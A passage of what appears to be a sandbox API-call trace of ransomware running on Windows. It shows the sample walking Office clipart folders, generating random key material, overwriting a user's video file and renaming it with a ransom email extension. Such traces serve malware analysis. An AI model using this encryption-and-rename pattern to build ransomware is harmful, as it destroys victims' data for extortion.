CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f93b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c [0055.683] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0055.683] wcscmp (_String1="AG00158_.GIF", _String2=".") returned 1 [0055.683] wcscmp (_String1="AG00158_.GIF", _String2="..") returned 1 [0055.683] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f9438 [0055.683] wcscpy (in: _Dest=0x96f9438, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.683] wcscat (in: _Dest=0x96f9438, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.683] wcscat (in: _Dest=0x96f9438, _Source="AG00158_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" [0055.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870 [0055.684] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0055.684] wcscmp (_String1="AG00160_.GIF", _String2=".") returned 1 [0055.684] wcscmp (_String1="AG00160_.GIF", _String2="..") returned 1 [0055.684] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f94c0 [0055.684] wcscpy (in: _Dest=0x96f94c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.684] wcscat (in: _Dest=0x96f94c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.684] wcscat (in: _Dest=0x96f94c0, _Source="AG00160_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" [0055.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f94c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0055.686] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0055.686] wcscmp (_String1="AG00161_.GIF", _String2=".") returned 1 [0055.686] wcscmp (_String1="AG00161_.GIF", _String2="..") returned 1 [0055.686] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f9548 [0055.686] wcscpy (in: _Dest=0x96f9548, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.686] wcscat (in: _Dest=0x96f9548, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.686] wcscat (in: _Dest=0x96f9548, _Source="AG00161_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" [0055.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8 [0055.687] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0055.687] wcscmp (_String1="AG00163_.GIF", _String2=".") returned 1 [0055.687] wcscmp (_String1="AG00163_.GIF", _String2="..") returned 1 [0055.687] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f95d0 [0055.687] wcscpy (in: _Dest=0x96f95d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.688] wcscat (in: _Dest=0x96f95d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.688] wcscat (in: _Dest=0x96f95d0, _Source="AG00163_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" [0055.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f95d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcac [0055.689] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0055.689] wcscmp (_String1="AG00164_.GIF", _String2=".") returned 1 [0055.689] wcscmp (_String1="AG00164_.GIF", _String2="..") returned 1 [0055.689] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f9658 [0055.689] wcscpy (in: _Dest=0x96f9658, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.689] wcscat (in: _Dest=0x96f9658, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.689] wcscat (in: _Dest=0x96f9658, _Source="AG00164_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" [0055.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8 [0055.696] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0055.696] wcscmp (_String1="AG00165_.GIF", _String2=".") returned 1 [0055.696] wcscmp (_String1="AG00165_.GIF", _String2="..") returned 1 [0055.696] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f97f0 [0055.696] wcscpy (in: _Dest=0x96f97f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0055.696] wcscat (in: _Dest=0x96f97f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0055.696] wcscat (in: _Dest=0x96f97f0, _Source="AG00165_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" [0055.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f97f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0056.105] FindNextFileW (in: hFindFile=0x440860, lpFindFileData=0x4b98d8 | out: lpFindFileData=0x4b98d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0056.105] wcscmp (_String1="AG00167_.GIF", _String2=".") returned 1 [0056.105] wcscmp (_String1="AG00167_.GIF", _String2="..") returned 1 [0056.106] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x96f9a98 [0056.106] wcscpy (in: _Dest=0x96f9a98, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0056.106] wcscat (in: _Dest=0x96f9a98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0056.106] wcscat (in: _Dest=0x96f9a98, _Source="AG00167_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" Thread: id = 607 os_tid = 0x84c [0050.032] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x43a600 [0050.032] wcscpy (in: _Dest=0x43a600, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" [0050.032] wcscat (in: _Dest=0x43a600, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\" [0050.032] wcscat (in: _Dest=0x43a600, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*" [0050.032] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b9b40 [0050.032] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", lpFindFileData=0x4b9b40 | out: lpFindFileData=0x4b9b40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440520 [0051.234] wcscmp (_String1=".", _String2=".") returned 0 [0051.234] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b9b40 | out: lpFindFileData=0x4b9b40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.234] wcscmp (_String1="..", _String2=".") returned 1 [0051.234] wcscmp (_String1="..", _String2="..") returned 0 [0051.234] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b9b40 | out: lpFindFileData=0x4b9b40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1 [0051.234] wcscmp (_String1="Backgrounds", _String2=".") returned 1 [0051.234] wcscmp (_String1="Backgrounds", _String2="..") returned 1 [0051.234] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x446f68 [0051.234] wcscpy (in: _Dest=0x446f68, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" [0051.235] wcscat (in: _Dest=0x446f68, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\" [0051.235] wcscat (in: _Dest=0x446f68, _Source="Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0059.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446f68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x234 [0059.814] FindNextFileW (in: hFindFile=0x440520, lpFindFileData=0x4b9b40 | out: lpFindFileData=0x4b9b40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0059.814] FindClose (in: hFindFile=0x440520 | out: hFindFile=0x440520) returned 1 [0059.814] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b9b40) returned 1 [0059.814] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a600) returned 1 [0059.815] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420d28) returned 1 Thread: id = 608 os_tid = 0x184 [0050.033] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2IOA84iiqtrxsLO96eiZ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2ioa84iiqtrxslo96eiz.flv")) returned 0x20 [0050.033] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2IOA84iiqtrxsLO96eiZ.flv", dwFileAttributes=0x20) returned 1 [0050.034] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2IOA84iiqtrxsLO96eiZ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2ioa84iiqtrxslo96eiz.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb08 [0050.034] GetFileSizeEx (in: hFile=0xb08, lpFileSize=0xec7fee4 | out: lpFileSize=0xec7fee4*=89816) returned 1 [0050.034] SetFilePointerEx (in: hFile=0xb08, liDistanceToMove=0x15ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.034] ReadFile (in: hFile=0xb08, lpBuffer=0xec7fe68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xec7fe64, lpOverlapped=0x0 | out: lpBuffer=0xec7fe68*, lpNumberOfBytesRead=0xec7fe64*=0x4, lpOverlapped=0x0) returned 1 [0050.035] SetFilePointerEx (in: hFile=0xb08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.035] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edf98 [0050.035] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edfc0 [0050.035] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410f0 [0050.035] NtQuerySystemTime (in: CurrentTime=0xec7fe44 | out: CurrentTime=0xec7fe44*=132174898140216000) returned 0x0 [0050.035] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x23a00ada [0050.035] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0xe568895 [0050.035] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x1e8cd0ea [0050.035] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x3481cb6e [0050.035] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x5f4b7806 [0050.035] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x3ebcc736 [0050.035] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x1cd3cbe5 [0050.035] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x34984843 [0050.035] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x7cb3dc4e [0050.035] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x52ccd65d [0050.035] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x62dc0e5f [0050.035] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x4ea5e66e [0050.035] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0xaa8c827 [0050.035] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x40237d85 [0050.035] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0xcaa38ae [0050.035] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0xb4e1f5a [0050.036] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x33ff9ebf [0050.036] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x1db43b64 [0050.036] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x7449f413 [0050.036] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x6a5835ae [0050.036] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x7d812c60 [0050.036] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x1e1dc20c [0050.036] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x715ad7c8 [0050.036] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x103f364e [0050.036] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x507ce011 [0050.036] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x1a2f1c77 [0050.036] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x2a6e9db6 [0050.036] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x16b9fdef [0050.036] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x5e519d97 [0050.036] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x13fb22e2 [0050.036] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x19a989d0 [0050.036] RtlRandomEx (in: Seed=0xec7fe50 | out: Seed=0xec7fe50) returned 0x4e16b4a2 [0050.049] SetFilePointerEx (in: hFile=0xb08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.049] ReadFile (in: hFile=0xb08, lpBuffer=0x97b7880, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xec7fe24, lpOverlapped=0x0 | out: lpBuffer=0x97b7880*, lpNumberOfBytesRead=0xec7fe24*=0xc800, lpOverlapped=0x0) returned 1 [0050.049] SetFilePointerEx (in: hFile=0xb08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.049] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402a80 [0050.049] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a678 [0050.049] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edf98 [0050.049] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edf98) returned 1 [0050.050] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e47860 [0050.053] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edf98 [0050.053] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4410f0 [0050.053] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4410f0) returned 1 [0050.053] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a678) returned 1 [0050.053] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a80) returned 1 [0050.053] WriteFile (in: hFile=0xb08, lpBuffer=0x5e47860*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xec7fe24, lpOverlapped=0x0 | out: lpBuffer=0x5e47860*, lpNumberOfBytesWritten=0xec7fe24*=0xc800, lpOverlapped=0x0) returned 1 [0053.259] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47860) returned 1 [0053.259] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97b7880) returned 1 [0053.259] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3d) returned 0x402888 [0053.259] SetFilePointerEx (in: hFile=0xb08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.259] WriteFile (in: hFile=0xb08, lpBuffer=0x44af98*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0xec7fea4, lpOverlapped=0x0 | out: lpBuffer=0x44af98*, lpNumberOfBytesWritten=0xec7fea4*=0x121, lpOverlapped=0x0) returned 1 [0053.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44af98) returned 1 [0053.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c480) returned 1 [0053.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429728) returned 1 [0053.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402888) returned 1 [0053.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edf98) returned 1 [0053.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edfc0) returned 1 [0053.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441280) returned 1 [0053.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4410a0) returned 1 [0053.528] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e006e0 [0053.528] wcscpy (in: _Dest=0x5e006e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2IOA84iiqtrxsLO96eiZ.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2IOA84iiqtrxsLO96eiZ.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2IOA84iiqtrxsLO96eiZ.flv" [0053.528] wcscat (in: _Dest=0x5e006e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2IOA84iiqtrxsLO96eiZ.flv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2IOA84iiqtrxsLO96eiZ.flv.mailto[2Hamlampampom@cock.li].cd46d" [0053.528] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2IOA84iiqtrxsLO96eiZ.flv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xec7fe5c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2IOA84iiqtrxsLO96eiZ.flv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.528] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xda) returned 0x44af98 [0053.664] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44af98) returned 1 [0053.664] RtlFreeHeap 